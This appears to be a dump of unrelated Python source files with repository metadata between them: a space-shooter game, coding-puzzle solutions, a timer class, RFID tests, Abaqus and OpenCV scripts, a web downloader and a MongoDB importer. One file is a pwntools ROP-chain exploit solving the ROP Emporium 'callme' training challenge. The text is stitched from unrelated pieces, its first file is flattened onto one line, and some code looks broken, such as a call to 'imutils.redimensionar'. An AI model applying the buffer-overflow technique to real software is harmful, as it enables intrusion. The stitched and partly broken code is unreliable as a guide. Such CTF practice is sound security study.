# -*- coding: utf-8 -*- from . import models from . import flock_model from . import week_model from . import catalogue from . import ommat_mrp_bom from . import models_stock from . import check_create_moves from . import check_cycle_wizard from . import check_payment from . import checks_fields from . import report_check_cash_payment_receipt
9b0a0dcb559ded011050cb272e364c575b57a749
1a3c38f737656907ea567c10104f1a86b57b1ee5
/main.py
75618a070f5c32d006e4ea8c1cd65562f3c94bbe
[]
no_license
rizal72/spacex
ebd1df562ace0982dbda5e1a91eeaf9876b88b5b
e55d8f8e5a2d00a70c6d49f54cfd988a0d04aeb1
refs/heads/master
2023-03-03T20:30:57.768680
2021-02-08T22:51:16
2021-02-08T22:51:16
336,438,292
0
0
null
null
null
null
UTF-8
Python
false
false
25,681
py
@namespace class SpriteKind: counter = SpriteKind.create() enemyProjectile = SpriteKind.create() def on_b_pressed(): global bombs if bombs > 0: playerShip.start_effect(effects.halo, 1500) for enemyShip in sprites.all_of_kind(SpriteKind.enemy): enemyShip.destroy(effects.disintegrate, 200) info.change_score_by(1) music.pew_pew.play() music.power_up.play() scene.camera_shake(4, 1000) bombs += -1 controller.B.on_event(ControllerButtonEvent.PRESSED, on_b_pressed) def on_a_pressed(): global playerShot playerShot = sprites.create_projectile_from_sprite(assets.image(""" shot """), playerShip, 200, 0) music.pew_pew.play() controller.A.on_event(ControllerButtonEvent.PRESSED, on_a_pressed) def startGame(): global playerShip, bombs, bombCount, bombCountN scene.set_background_image(img(""" ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ ................................................................................................................................................................ """)) playerShip = sprites.create(assets.image(""" ship """), SpriteKind.player) animation.run_image_animation(playerShip, assets.animation(""" ship_anim """), 250, True) playerShip.set_flag(SpriteFlag.STAY_IN_SCREEN, True) controller.move_sprite(playerShip, 100, 100) info.set_life(3) bombs = 3 bombCount = sprites.create(assets.image(""" bcounter """), SpriteKind.counter) bombCount.set_position(40, 5) bombCountN = sprites.create(assets.image(""" image5 """), SpriteKind.counter) bombCountN.set_position(52, 5) def on_on_overlap(sprite, otherSprite): global bombs if bombs < 3: otherSprite.destroy(effects.halo, 100) music.power_up.play() bombs += 1 sprites.on_overlap(SpriteKind.player, SpriteKind.food, on_on_overlap) def on_on_overlap2(sprite, otherSprite): otherSprite.destroy(effects.disintegrate, 200) sprite.destroy() info.change_score_by(1) sprites.on_overlap(SpriteKind.projectile, SpriteKind.enemy, on_on_overlap2) def on_on_overlap3(sprite, otherSprite): otherSprite.destroy(effects.fire, 100) music.jump_down.play() info.change_life_by(-1) sprites.on_overlap(SpriteKind.player, SpriteKind.enemy, on_on_overlap3) enemyShot: Sprite = None enemyShip2: Sprite = None bomb: Sprite = None star: Sprite = None bombCountN: Sprite = None bombCount: Sprite = None playerShot: Sprite = None playerShip: Sprite = None bombs = 0 scene.set_background_image(assets.image(""" intro """)) music.set_volume(100) game.splash("Press 'A' to shoot laser", "Press 'B' for Nuclear Bomb") startGame() def on_on_update(): global star if Math.percent_chance(25): star = sprites.create_projectile_from_side(assets.image(""" star """), randint(-80, -100), 0) star.set_position(scene.screen_width(), randint(0, scene.screen_height())) star.set_flag(SpriteFlag.GHOST, True) star.set_flag(SpriteFlag.AUTO_DESTROY, True) bombCountN.say(bombs) game.on_update(on_on_update) def on_update_interval(): global bomb bomb = sprites.create(assets.image(""" bomb """), SpriteKind.food) bomb.set_velocity(randint(-50, -80), randint(5, 20)) bomb.left = scene.screen_width() bomb.y = randint(6, scene.screen_height() - 6) bomb.set_flag(SpriteFlag.AUTO_DESTROY, True) game.on_update_interval(randint(30000, 60000), on_update_interval) def on_forever(): music.play_melody("E B C5 A B G A F ", 120) music.play_melody("E B C5 A B G A F ", 120) music.play_melody("E D G F B A C5 B ", 120) music.play_melody("E D G F B A C5 B ", 120) forever(on_forever) def on_update_interval2(): global enemyShip2, enemyShot enemyShip2 = sprites.create(assets.image(""" enemy """), SpriteKind.enemy) animation.run_image_animation(enemyShip2, assets.animation(""" enemy_anim """), 200, True) enemyShip2.set_velocity(randint(-50, -80), 0) enemyShip2.left = scene.screen_width() enemyShip2.y = randint(6, scene.screen_height() - 6) enemyShip2.set_flag(SpriteFlag.AUTO_DESTROY, True) if Math.percent_chance(33): enemyShot = sprites.create_projectile_from_sprite(assets.image(""" enemyshot """), enemyShip2, -120, 0) enemyShot.set_kind(SpriteKind.enemy) enemyShot.set_flag(SpriteFlag.AUTO_DESTROY, True) game.on_update_interval(500, on_update_interval2)
a23f606cccb1954cd33031630f58fbc3cd8c80a3
8c10ac0cda0c80dbc46b8cd8ed44e42d7a2a2875
/剑指/39 数组中出现次数超过一半的数字/39.py
53d36482e67292d9b20573bb0be0b0816e52dbba
[]
no_license
snooowman/leecode
8a55b942ef2d9abde9e4eb3e9ef16b062c286c01
224dec07019c2488b277a20cabffd5e7f5ad31f1
refs/heads/main
2023-04-15T10:04:25.500424
2021-04-26T15:58:22
2021-04-26T15:58:22
325,981,423
0
0
null
null
null
null
UTF-8
Python
false
false
573
py
# -*- coding:utf-8 -*- class Solution(object): def majorityElement(self, nums): """ :type nums: List[int] :rtype: int """ # 排序 # nums.sort() # return nums[int(len(nums)/2)] #hash map dic = {} for i in nums: if i in dic: dic[i] += 1 if dic[i] > int(len(nums)/2): return i else: dic[i] = 1 if __name__ == '__main__': s = Solution() print(s.majorityElement([1, 2, 3, 2, 2, 2, 5, 4, 2]))
ca99a6249fa59e8f11f04803bc4bd885e30cfeb6
9a0972c17f7948690d08600e8c58f86334e8d34b
/计时器/MyTimer.py
7dc580fdc86badf29e10dcaea001c595108f6da5
[]
no_license
Xiaomifeng98/Python_File
005b1ba717e7f0330e5a5d2fc3e7745b70b56100
357e8bde15e5508e54f4ee87efa68d4586402131
refs/heads/master
2022-11-09T04:39:23.764772
2020-06-29T14:03:02
2020-06-29T14:03:02
240,662,339
0
0
null
null
null
null
UTF-8
Python
false
false
1,700
py
import time as t class MyTimer(): def __init__(self): self.unit = [' year(s)', ' month' , ' day', ' hour', ' minute', ' second.'] self.prompt = 'Timing not started' self.lasted = [] self.start_num = 0 self.stop_num = 0 def __str__(self): return self.prompt __repr__ = __str__ def __add__(self, other): prompt = 'Total running time is: ' result = [] for index in range(6): result.append(self.lasted[index] + other.lasted[index]) if result[index]: prompt += (str(result[index]) + self.unit[index]) return prompt #_________________________________________________________Start the timer def start(self): self.start_num = t.localtime() self.prompt = 'Tips: please call stop() to stop timing.' print('Start the timer.') #_________________________________________________________Stop the timer def stop(self): if not self.start_num: print('Tips: please call start() to start timing.') else: self.stop_num = t.localtime() self._calc() print('Stop the timer.') # _________________________________Internal method: calculate running time def _calc(self): self.lasted = [] self.prompt = 'Total running time is: ' for index in range(6): self.lasted.append(self.stop_num[index] - self.start_num[index]) if self.lasted[index]: self.prompt += (str(self.lasted[index]) + self.unit[index]) #Initialize variables for the next round. self.start_num = 0 self.stop_num = 0
e9ac0b76963cb9cd14111bf20698c8b8425896f4
7b8ab82421ea57f4b3b56a94f519ae402a2b1ce6
/tests.py
dc421656095a7722e28bc00bd5db2ffedb3ff1a8
[]
no_license
zkings125/G2C1Messages
51db76193f813c4755fab581b0f5c961c48eaf8c
696571db9925aa2b9842ff5c4d787d70cb35c4e0
refs/heads/master
2023-03-05T23:47:34.872013
2021-02-16T16:11:59
2021-02-16T16:11:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,826
py
from g2c1.base import crc5, pulsesToSamples # to test checksum and convert pulses to samples from g2c1.messages import Query, QueryRep, fromBits # to test commands from g2c1.command import Reader # to test reader functionalities from g2c1.respond import Tag # to test tag functionalities def visualizePulses(pulses, samplerate=1e6, reportLens=True): # print out pulse-lenghts if reportLens: print('{} pulses lengths [us]: {}'.format(len(pulses), pulses)) # visualize pulses as sample magnitudes samples = pulsesToSamples(pulses, samplerate) sampleStr = ''.join('_' if s < 0.5 else '\u203e' for s in samples) print('Pulse magnitudes: {}'.format(sampleStr)) def testCRC5(): ''' Tests the crc5 checksum function ''' print('Testing CRC5 checksum') dataBits = [1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1] validCRC = [1, 0, 0, 0, 1] # check checksum generation testCRC = crc5(dataBits) if testCRC != validCRC: raise ValueError('Invalid checksum {} for bits {}'.format(testCRC, dataBits)) # check data+checksum match check = crc5(dataBits+validCRC) if not all(b == 0 for b in check): raise ValueError('Invalid checksum check {} for bits+crc {}'.format(check, dataBits+validCRC)) def testMessage(Msg, validValues, validBits): ''' Tests a message ''' print('Testing '+Msg.__name__) msg = Msg(*validValues) # test to bits testBits = msg.toBits() if testBits != validBits: raise ValueError('Invalid bits {} for {}'.format(testBits, msg)) # test to values msgEmpty = Msg(*(len(validValues)*[None])) msgEmpty.fromBits(validBits) if not all(v == part.value for v, part in zip(validValues, msgEmpty.parts[1:])): raise ValueError('Invalid values in {} for bits {}'.format(msgEmpty, validBits)) # test lookup msgLookup = fromBits(validBits) if msgLookup != msg: raise ValueError('Invalid values in looked up message {} from bits {}'.format(msgLookup, validBits)) def testReader(Msg): ''' Tests the generation of reader commands ''' reader = Reader() msg = Msg() print('Testing commander with {}'.format(msg)) pulses = reader.toPulses(msg) visualizePulses(pulses) def testTag(Msg): ''' Tests the parsing of reader commands ''' # generate samples from reader command reader = Reader() msg = Msg() print('Testing responder with {}'.format(msg)) pulses = reader.toPulses(msg) samples = pulsesToSamples(pulses) samples += [max(samples)] # artifical CW to trigger last raising edge # try to parse with tag tag = Tag() edges = tag.samplesToEdges(samples) cmd = tag.fromEdges(edges)[0] # check if same if cmd.bits != msg.toBits(): print('actual pulses: {}'.format(pulses)) print('parsed edge durations: {}'.format(edges)) print('parsed bits: {}'.format(cmd.bits)) print('actual bits: {}'.format(msg.toBits())) raise ValueError('Invalid parsed bits') # check if messages was parsed if cmd.message != msg: print(cmd.message) raise TypeError('Bits where not converted to correct message') def testPhysical(): ''' Tests the physical execution of commands with the sequencer via serial port ''' from rtlsdr import RtlSdr # for controlling the RTL SDR from multiprocessing.pool import ThreadPool # for simultaneous function execution import matplotlib.pyplot as plt # for plotting import numpy as np # for array math from matplotlib.mlab import psd, specgram # for fft from scipy import signal # for filtering tariUs = 12 # reader data-0 length in us freqMHz = 866.3 # reader center frequency blfMHz = 0.32 # tag backscatter link frequency # generate pulses reader = Reader(tariUs, blfMHz, 'COM4') # init sdr sdr = RtlSdr(serial_number='00000001') sdr.sample_rate = 2.048e6 sdr.center_freq = freqMHz*1e6 sdr.gain = 0 sdr.read_samples(sdr.sample_rate*0.05) # dummy read # get samples asyncronously... pool = ThreadPool(processes=1) sampling = pool.apply_async(sdr.read_samples, (sdr.sample_rate*0.05,)) # ...while sending command reader.enablePower() msg = Query(m=8, trExt=True) print('Testing physically with {}'.format(msg)) reader.sendMsg(msg) msg = Query(m=1, trExt=False, q=1) print('Testing physically with {}'.format(msg)) reader.sendMsg(msg) msg = QueryRep() print('Testing physically with {}'.format(msg)) reader.sendMsg(msg) reader.enablePower(False) # block until samples are aquired samples = sampling.get() # plot _, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(12, 10)) blfStyle = {'linewidth': 1, 'linestyle': 'dashed', 'alpha': 0.6} # time domain timeSec = np.arange(len(samples))/sdr.sample_rate ax1.plot(timeSec, np.abs(samples), linewidth=0.5) ax1.set_xlabel('time [s]') ax1.set_ylabel('magnitude') ax1.set_title('Observed communication with \n' 'tari: {}us, freq: {}MHz, blf: {}MHz'.format(tariUs, freqMHz, blfMHz)) ax1.grid() # frequency domain nFFT = 512 maxHold = False if maxHold: traces, _, _ = specgram(samples, NFFT=nFFT) trace = np.max(traces, axis=1) # max hold over time else: trace, _ = psd(samples, NFFT=nFFT) trace = 20*np.log10(trace) # to dB freqsMHz = np.linspace(sdr.center_freq-sdr.sample_rate/2, sdr.center_freq+sdr.sample_rate/2, nFFT)/1e6 ax2.plot(freqsMHz, trace, linewidth=0.5) ax2.set_xlabel('frequency [MHz]') ax2.set_ylabel('magnitude [dB]') ax2.grid() # mark tag response ax2.axvline(freqMHz-blfMHz, color='r', **blfStyle) ax2.axvline(freqMHz+blfMHz, color='r', label='backscatter frequency', **blfStyle) ax2.legend(loc='upper right') # spectrogram traces, _, _ = specgram(samples) traces = np.clip(20*np.log10(traces), -100, -30) ax3.imshow(traces, extent=(timeSec[0], timeSec[-1], freqsMHz[0], freqsMHz[-1]), aspect='auto', cmap='jet') ax3.axhline(freqMHz-blfMHz, color='w', **blfStyle) ax3.axhline(freqMHz+blfMHz, color='w', label='backscatter frequency', **blfStyle) ax3.legend(loc='upper right') ax3.set_xlabel('time [s]') ax3.set_ylabel('frequency [MHz]') # try to parse with tag tag = Tag() edges = tag.samplesToEdges(np.abs(samples), sdr.sample_rate) print('Parsed raising edge durations: {}'.format(edges)) cmds = tag.fromEdges(edges) for cmd in cmds: print('Parsed edges: {}'.format(cmd.edges)) print('Parsed bits: {}'.format(cmd.bits)) print('Parsed message: {}'.format(cmd.message)) if cmd.blf: print('Parsed BLF: {} kHz'.format(int(cmd.blf*1e3))) print('Parsed Tari: {} us'.format(cmd.tari)) ax1.axvline(cmd.start/1e6, color='g') ax1.axvline(cmd.end/1e6, color='g') txt = str(cmd.bits) if not cmd.message else str(cmd.message) txt += '\nTari: {:.1f} us'.format(cmd.tari) if cmd.blf: txt += ', BLF: {} kHz'.format(int(cmd.blf*1e3)) ax1.text(cmd.start/1e6, 0.5*np.max(np.abs(samples)), txt, color='g', backgroundcolor='w') plt.show() def testPhysicalQueryCombos(): ''' Tests the physical execution of different commands with the sequencer via serial port ''' print('Testing physical query parameter combinations') drs = (8, 64/3) blfs = (0.1, 0.2, 0.3, 0.4) millers = (1, 2, 4, 8) pilots = (False, True) taris = range(7, 25) # prepare reader reader = Reader(port='COM4') reader.enablePower() for dr in drs: for blf in blfs: for miller in millers: for pilot in pilots: for tari in taris: # set protocol parameters msg = Query(dr, miller, pilot) reader.tari = tari reader.blf = blf try: reader.sendMsg(msg) except: raise IOError('Could not send {}'.format(msg)) reader.enablePower(False) if __name__ == '__main__': testCRC5() testMessage( Query, [64/3, 1, False, 'all1', 1, 'b', 1], [1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1]) testReader(Query) testReader(QueryRep) testTag(Query) testTag(QueryRep) try: #testPhysicalQueryCombos() testPhysical() except ImportError: print('Physical test requires additional packages') except IOError: print('No device for physical test found')
4b8abb52dd2a8f97e71ec003358f1f0248c5fab0
2e29ed138ab0fdb7e0a6e87b7c52c097b350fecf
/SA-PreciousMetals/PathXY.py
fa4653caf5d0cd64d7c9b72ba50da2c21e9cf342
[]
no_license
ronniegeiger/Abaqus-Scripts
1e9c66664bd7dc7e5264bf763f15936eadcff529
c071bbfe0e6c54148dfd4a23f786f017dfef4ae4
refs/heads/master
2023-03-18T06:33:13.690549
2018-08-14T11:37:07
2018-08-14T11:37:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
837
py
# -*- coding: utf-8 -*- """ Created on Tue May 03 09:17:22 2016 @author: Jack """ from abaqus import * from abaqusConstants import * import __main__ import section import regionToolset import displayGroupMdbToolset as dgm import part import material import assembly import step import interaction import load import mesh import optimization import job import sketch import visualization import xyPlot import displayGroupOdbToolset as dgo import connectorBehavior for i in range(1,10): pathName = 'Path-'+str(i) pth = session.paths[pathName] session.XYDataFromPath(name='V2-'+str(i)+'0% - Original Design', path=pth, includeIntersections=True, projectOntoMesh=False, pathStyle=PATH_POINTS, numIntervals=10, projectionTolerance=0, shape=DEFORMED, labelType=TRUE_DISTANCE)
0c0c8071a7b099fcfc99f95dd1e5667ed074117d
d9af28764d8022612c8dcc2fc18e32d729f82e0e
/callme/x64/solution.py
f43bfe48701705c78f3efc99bc9b6b98b358fab4
[]
no_license
tylerwarre/rop-emporium
31518c4a6562ef0841a9a6db541fc7fb024c903a
fcd027e799d675fd50c0d6a603ee54d640f3b5e2
refs/heads/main
2023-07-19T02:39:08.166968
2021-09-22T21:12:20
2021-09-22T21:12:20
407,247,660
0
0
null
null
null
null
UTF-8
Python
false
false
1,159
py
from pwn import * context.arch = 'amd64' prog = process("./callme") # 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; pop_0 = p64(0x000000000040093c) # function argument 1 arg_0 = p64(0xdeadbeefdeadbeef) # function argument 2 arg_1 = p64(0xcafebabecafebabe) # function argument 3 arg_2 = p64(0xd00df00dd00df00d) # callme_one() func_callme_one = p64(0x0000000000400720) # callme_two() func_callme_two = p64(0x0000000000400740) # callme_three() func_callme_three = p64(0x00000000004006f0) payload = b'a' * 40 # pop rdi, rsi, rdx payload += pop_0 payload += arg_0 payload += arg_1 payload += arg_2 # call callme_one() payload += func_callme_one # pop rdi, rsi, rdx payload += pop_0 payload += arg_0 payload += arg_1 payload += arg_2 # call callme_two() payload += func_callme_two # pop rdi, rsi, rdx payload += pop_0 payload += arg_0 payload += arg_1 payload += arg_2 # call callme_three() payload += func_callme_three print(payload) with open("./payload.txt", "wb+") as f: f.write(payload) output = prog.recvuntil(">") print(output.decode("utf-8")) prog.clean() prog.sendline(payload) output = prog.recvall() print(output.decode("utf-8"))
a9ab0da8a3547a01c743cd7ebeeb97bd5a455405
d0e43084ab6891c5ddaffa92ff1796835a580361
/Processamento Imagens/Processamentos/Redimensionar_Imagens/redimensionar.py
f2f052d08b72ac2263eb9a90a81b896af3515426
[]
no_license
VQCarneiro/IMEP-Inovacoes_No_Melhoramento_De_Plantas
293d09ca35c96d6e370d083420de8c9086ab8e78
f6e741cdacdcac36148195575c8cccc8fa15895a
refs/heads/master
2020-08-01T17:59:18.260830
2019-10-14T16:29:48
2019-10-14T16:29:48
211,068,995
0
0
null
null
null
null
UTF-8
Python
false
false
2,477
py
######################################################################################################################## # Lavras - MG, 11/10/09/2019, 10:48 # Desenvolvedor: Vinícius Quintão Carneiro - Professor da Universidade Federal de Lavras - UFLA # E-mail: [email protected] # Github: VQCarneiro ######################################################################################################################## # Importar pacotes import cv2 # Importa o pacote opencv import numpy as np # Importa o pacote numpy from matplotlib import pyplot as plt # Importa o pacote matplotlib import imutils ######################################################################################################################## # Leitura da imagem img = cv2.imread('exemplo_01.jpg',1) # Carrega imagem colorida em BGR img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) lin, col, canais = np.shape(img) print('Dimensão: ' + str(lin) +' x '+ str(col)) print('Número de Canais: ' + str(canais)) ######################################################################################################################## # Redimensionar # Ajustando o número de linhas para 150 pixels r1 = 150/img.shape[1] print(r1) dim1=(150,int(img.shape[0]*r1)) print(dim1) img_red1 = cv2.resize(img,dim1,interpolation=cv2.INTER_AREA) # Ajustando o número de linhas para 50 pixels r2 = 50/img.shape[0] print(r2) dim2=(int(img.shape[1]*r2),50) print(dim2) img_red2 = cv2.resize(img,dim2,interpolation=cv2.INTER_AREA) ######################################################################################################################## # Usando a função translação do pacote imutils img_red3 = imutils.redimensionar(img,largura = 150) img_red4 = imutils.redimensionar(img,comprimento = 50) ######################################################################################################################## # Apresentar imagens na tela plt.figure('Transformações imagens') plt.subplot(2,3,1) plt.imshow(img) plt.title('Imagem') plt.subplot(2,3,2) plt.imshow(img_red1) plt.title('Redimensionar (150 x 150)') plt.subplot(2,3,3) plt.imshow(img_red2) plt.title('Redimensionar (50 x 50)') plt.subplot(2,3,5) plt.imshow(img_red3) plt.title('Redimensionar (150 x 150)') plt.subplot(2,3,6) plt.imshow(img_red4) plt.title('Redimensionar (50 x 50)') plt.show() ########################################################################################################################
aab97c0a0be9fcc62d93fda4f11ec07440987772
f616d9598727777943a6c1eac8d2c54c4e5fab9f
/nqmc_download_measure_xml.py
dc5f211ff8c0e7130b2ca29162f222219226dd11
[]
no_license
capdevc/mms_nlp
255d28fe537d344f0d1e508766021c209ee03b8a
16b5855d3e986e351256ff550e62a0977cccb335
refs/heads/master
2021-01-20T12:21:51.018162
2015-02-09T14:29:29
2015-02-09T14:29:29
30,080,867
0
0
null
null
null
null
UTF-8
Python
false
false
594
py
#!/usr/bin/env python from __future__ import division, print_function ''' @uthor: Steven Keith Shook II November 19, 2014 Purpose: Download files from a website. Problem: Splinter Library Docs https://splinter.readthedocs.org/en/latest/ ''' import sys import time from splinter import Browser with Browser('firefox', profile='/home/cc/.mozilla/firefox/0wnvf6xn.default') as browser: for url in sys.stdin: browser.visit(url) download_link = browser.find_by_id('ctl00_ContentPlaceHolder1_lbXMLDownload') download_link.click() time.sleep(1)
5d88c4071f3ab599662a054d316761b474431fb3
66634946aec18840c00b0e568c41faf3e9f473e7
/Level1/Lessons12947/yang_12947.py
d2ab05419fc2d5728f745b71ed3884e6f437849e
[ "MIT" ]
permissive
StudyForCoding/ProgrammersLevel
0525521b26ad73dcc1fe58a1b2f303b613c3a2f6
dc957b1c02cc4383a93b8cbf3d739e6c4d88aa25
refs/heads/main
2023-08-14T23:15:53.108351
2021-10-05T16:04:32
2021-10-05T16:04:32
354,728,963
0
1
MIT
2021-10-05T16:04:33
2021-04-05T05:26:25
Python
UTF-8
Python
false
false
894
py
#하샤드 수 def solution(x): answer = 0 for idx in str(x): answer += int(idx) if x % answer == 0: return True else: return False # 테스트 1 〉 통과 (0.02ms, 10.3MB) # 테스트 2 〉 통과 (0.02ms, 10.3MB) # 테스트 3 〉 통과 (0.02ms, 10.3MB) # 테스트 4 〉 통과 (0.02ms, 10.3MB) # 테스트 5 〉 통과 (0.02ms, 10.3MB) # 테스트 6 〉 통과 (0.02ms, 10.3MB) # 테스트 7 〉 통과 (0.03ms, 10.4MB) # 테스트 8 〉 통과 (0.02ms, 10.3MB) # 테스트 9 〉 통과 (0.02ms, 10.3MB) # 테스트 10 〉 통과 (0.02ms, 10.4MB) # 테스트 11 〉 통과 (0.02ms, 10.4MB) # 테스트 12 〉 통과 (0.02ms, 10.3MB) # 테스트 13 〉 통과 (0.02ms, 10.3MB) # 테스트 14 〉 통과 (0.02ms, 10.4MB) # 테스트 15 〉 통과 (0.02ms, 10.3MB) # 테스트 16 〉 통과 (0.02ms, 10.3MB) # 테스트 17 〉 통과 (0.02ms, 10.3MB)
f9dbf2cf84c8504d958ff6691955b94edf461ea1
29ca165f964258609a449faf6612e356d5f9f230
/Monk and the Islands.py
6ce78afc617c2dd8f02fbbb83c14a7bbfedc66a2
[]
no_license
divanshu79/hackerearth-solution
a94b7dfb36e36c032741fb563dcf54a746b6d991
dd8e9341583ad0309d2a6727381edb814fcf1e78
refs/heads/master
2020-03-25T07:56:36.200247
2018-08-05T06:46:09
2018-08-05T06:46:09
143,589,682
0
0
null
null
null
null
UTF-8
Python
false
false
593
py
l_out = [] def graph(x): for i in range(1,x+1): l_in = [] for j in range(1,x+1): l_in.append(100000) l_out.append(l_in) for _ in range(int(input())): a,b = list(map(int,input().split())) p = max(a,b) graph(p) #print(p) print(l_out) for i in range(b): x,y = list(map(int,input().split())) l_out[x-1][y-1] = 1 l_out[y-1][x-1] = 1 for k in range(p): for i in range(p): for j in range(p): u = l_out[i][k]+l_out[k][j] v = l_out[i][j] if(u < v): l_out[i][j] = l_out[i][k]+l_out[k][j] print(l_out[0][p-1]) l_out = []
321c7bb1b683e8bc2174001fc3b4d9f68766a589
67b64ec11375fabcf8a8ca5b61ac01fb978d0791
/assetstracker/apps.py
347a7005b127ce90a7435f7bf0a3e4c6b4c33601
[]
no_license
mahmoodkhan/assetappbackend
d7d1c43cece9da74396e48bf514b6a128941abe6
4477b061902f229905a0a7c90441ed6465ba854f
refs/heads/master
2021-01-13T14:48:15.288280
2017-05-04T04:06:56
2017-05-04T04:06:56
76,569,376
0
0
null
null
null
null
UTF-8
Python
false
false
142
py
from __future__ import unicode_literals from django.apps import AppConfig class AssetstrackerConfig(AppConfig): name = 'assetstracker'
d46d2ddaf527788aea4f670fe738735dca5fd153
b4437c0207ea83b575df297385af360fcafa94dc
/import_scripts/insert_tsv_mongodb.py
f03941497422b68a6a8017580d0578d99aedb9a3
[ "MIT" ]
permissive
cancerregulome/Addama
aac102bfb1e506d59303e3645fcfef26900be776
7db3d2459f207f44d382c4d16b4266c410c69325
refs/heads/master
2021-01-14T14:18:21.404313
2014-06-17T00:58:02
2014-06-17T00:58:02
23,677,922
0
0
null
null
null
null
UTF-8
Python
false
false
5,910
py
import argparse import csv import json import pymongo import sys from importtools import DataFile, ImportConfig TOGGLE_QUIET = False DRY_RUN = False class TypedTSV(DataFile): def __init__(self, path, field_types=None, defaulttype=str): super(TypedTSV, self).__init__(path) self.fields = {} self.defaulttype = defaulttype if field_types is not None: self.set_fields(field_types) @classmethod def fromdict(cls, file_dict): return cls(file_dict['path'], file_dict.get("field_types")) def get_value(self, field_name, value): if field_name in self.fields: return self.fields[field_name](value) else: return self.defaulttype(value) def set_fields(self, field_types_dict): type_map = { "int": int, "str": str, "float": float } for name, datatype in field_types_dict.iteritems(): if datatype in type_map: self.fields[name] = type_map[datatype] else: raise ValueError("Unknown datatype '" + datatype + "' for field '" + name + "'") def info_print(msg): global TOGGLE_QUIET if TOGGLE_QUIET is False: print(msg) def iterate_tsv_rows(data_file): file_path = data_file.path with open(file_path, 'rb') as csvfile: print('Processing ' + file_path) csvreader = csv.DictReader(csvfile, delimiter='\t') count = 0 skipped = 0 for row in csvreader: try: result = {} for k,v in row.iteritems(): if k is None: raise Exception("No key for value " + str(v)) result[k] = data_file.get_value(k, v) yield result count += 1 except Exception as e: info_print(" Skipping row") info_print(" Error: " + str(e)) info_print(" Content: " + str(row)) skipped += 1 print("Finished processing " + file_path) info = '{0:10} rows inserted,'.format(count) info += ' {0:10} row skipped'.format(skipped) print(' ' + info) def load_config_json(file_path): json_file = open(file_path, 'rb') data = json.load(json_file) json_file.close() return data def connect_database(hostname, port): connection = pymongo.Connection(hostname, port) return connection def run_import(import_config): global DRY_RUN host = import_config.host port = import_config.port # Try open connection first, exit in case of failure conn = None try: conn = connect_database(host, port) except pymongo.errors.ConnectionFailure: print("Failed to connect to database at " + host + ":" + str(port)) sys.exit(1) collection = conn[import_config.database][import_config.collection] for file_info in import_config.files: for row_obj in iterate_tsv_rows(file_info): if not DRY_RUN: collection.insert(row_obj) conn.close() def run_from_command_line_args(args): run_config = None try: run_config = ImportConfig.fromargs(args) except Exception as e: print('Error while processing command line arguments: ' + str(e)) print('Quitting...') sys.exit(1) run_import(run_config) def run_from_config_file(args): run_config = None try: import_config = load_config_json(args.FILE[0]) run_config = ImportConfig.fromdict(import_config, file_process_fn=TypedTSV.fromdict) except Exception as e: print('Error while reading import configuration JSON: ' + str(e)) print('Quitting...') sys.exit(1) run_import(run_config) def main(): mainparser = argparse.ArgumentParser(description="TSV to MongoDB import utility") subparsers = mainparser.add_subparsers() cmd_line_parser = subparsers.add_parser('import', help="Read all parameters from command line") cmd_line_parser.add_argument('--host', required=True, help='Hostname') cmd_line_parser.add_argument('--port', required=True, type=int, help='Port') cmd_line_parser.add_argument('--db', required=True, help='Database name') cmd_line_parser.add_argument('--collection', required=True, help='Collection name') cmd_line_parser.add_argument('--quiet', required=False, action='store_true', 